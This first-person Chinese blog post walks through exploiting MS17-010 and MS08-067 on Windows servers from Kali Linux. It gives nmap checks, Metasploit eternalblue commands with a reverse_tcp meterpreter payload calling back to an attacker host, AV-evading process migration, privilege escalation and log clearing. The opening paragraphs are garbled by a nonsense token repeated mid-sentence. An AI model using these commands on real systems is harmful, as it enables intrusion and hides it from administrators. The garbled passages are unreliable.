msrpc漏洞kali利用

凌晨两点，漏i利我盯着kali终端里那行“MS17-010”的漏i利扫描结果，咖啡杯沿已经凉透了。漏i利目标是漏i利一台内网Windows Server 2008，开放了445端口，漏i利MS-RPC服务像一扇没上锁的漏i利后门——永恒之蓝的变种，至今还在真实网络里晃悠。漏i利

先说结论：在kali里打msrpc漏洞，漏i利最直接的漏i利路子是Metasploit的`exploit/windows/smb/ms17_010_eternalblue`，但别急着敲命令。漏i利你得先确认目标确实存在漏洞，漏i利否则盲打纯属浪费生命。漏i利用`nmap -p445 --script smb-vuln-ms17-010 `扫一下，漏i利输出里出现“VULNERABLE”字样，漏i利才轮到下一步。漏i利

扫描结果出来那一刻，我习惯性先ping通目标，再跑`auxiliary/scanner/smb/smb_ms17_010`做二次确认——这步很多人跳过，但实战里nmap的脚本偶尔会误报，尤其遇到老旧的SMB实现。确认无误后，调出exploit模块：

use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.105 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.10 run

然后就是等待。有时候几秒，有时候半分钟，屏幕上蹦出“Meterpreter session 1 opened”，那种感觉像撬开一把锈死的锁——但别高兴太早。我遇到过不少次，会话是通了，但权限卡在SYSTEM边缘，shell不稳定，一敲命令就断。

这里有个坑：msrpc漏洞利用成功后，系统可能残留异常日志，管理员迟早会发现。所以拿到meterpreter后，第一件事不是乱翻文件，而是`migrate -N explorer.exe`把进程迁移到稳定进程里，再`getsystem`提权确认。真实环境里，我曾见过有人直接`shell`进去敲`whoami`，结果被AV杀掉——因为那个进程太扎眼。

另一个细节：如果目标打了补丁，MS17-010直接失效，但msrpc漏洞不止这一个。老一点的Windows Server 2003、XP，还能试试`ms08-067`（netapi32.dll的缓冲区溢出），利用方式类似，只是exploit路径换成`exploit/windows/smb/ms08_067_netapi`。这俩漏洞都走RPC管道，本质是远程过程调用服务没做边界检查——微软补丁修了十几年，但内网里总有漏网之鱼。

有一次在客户那边做渗透测试，扫到一台财务服务器，445端口开着，ms17-010显示漏洞存在。结果exploit打过去，shell倒是拿到了，但目录里躺着一份“勒索病毒警告.docx”——原来这机器早被黑过一次，攻击者留下的后门还活着。我瞬间没了继续下去的兴致，直接报告收工。你说讽刺不讽刺？漏洞利用工具本身没善恶，但用的人心里得有杆秤。

最后说句实在话：kali里这些工具，网上教程一抓一大把，但真正值钱的是对协议的理解。MS-RPC的漏洞利用，核心在于SMB头部的“Trans2”请求构造，还有管道名称的暴力枚举——如果你有兴趣，去读读MS17-010的原始漏洞分析，比盯着Metasploit的输出有用得多。工具只是扳手，拧螺丝的手艺才是自己的。

凌晨四点，我把会话关掉，清了日志，重启目标机。那台服务器第二天照常跑着业务，没人知道它昨晚被撬开过——但我知道，这种安静背后，是无数个像我一样的人，在数字世界的缝隙里反复试探。